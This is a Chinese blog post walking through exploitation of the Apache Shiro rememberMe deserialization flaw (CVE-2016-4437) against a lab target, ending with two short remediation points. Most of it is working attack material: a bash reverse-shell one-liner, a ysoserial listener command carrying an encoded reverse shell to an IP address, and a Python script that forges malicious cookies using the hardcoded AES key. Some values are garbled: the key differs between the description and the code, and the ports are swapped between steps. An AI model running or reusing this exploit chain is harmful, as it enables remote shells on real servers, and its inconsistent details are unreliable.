发布于 

CVE-2016-4437(Shiro反序列化命令执行)

1. 漏洞描述

Shiro提供了记住我(RememberMe)的功能,对cookie中的Remember me字段进行相关处理:序列化–>AES加密–>base64编码

由于Shiro本身含有一个预设的AES密钥。Base64.decode("KPHblxk5D2deZilxcaaaA=="), 而shiro<1.2.4版本的AES的密钥是硬编码的,就导致攻击者可以任意构造恶意rememberMe的值造成反序列化。

2. 影响版本

Apache Shiro <= 1.2.4

3. 漏洞复现

3.1 编码反弹Shell

一句话反弹Shell:

1
bash -i >& /dev/tcp/(ip)/(port) 0>&1

在线加密站(base64加密):

https://ares-x.com/tools/runtime-exec/

3.2 启用ysoserial

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGF2A4RjcC8xMDEuNDIuMTc4LjE3NS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}'

3.3 编写POC生成恶意cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#  pip3 install pycryptodome
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode()))

执行命令生成cookie,此处端口号需要与前面ysoserial监听模块端口一致。

1
python .\shiro.py ip:6666

image-20221018220802173

3.4 访问靶场

image-20221018221021828

3.5 抓包修改Cookie

把我们生成的Cookie替换原有的Cookie

image-20221018221322939

3.6 查看ysoserial监听的9999端口

image-20221018221645278

3.7 查看nc监听的6666端口

image-20221018221833197

4. 源码分析

5. 漏洞修复

  1. 删除代码中的默认密钥,可以自己base64生成一个AES密钥
  2. 升级Shiro到1.2.5及以上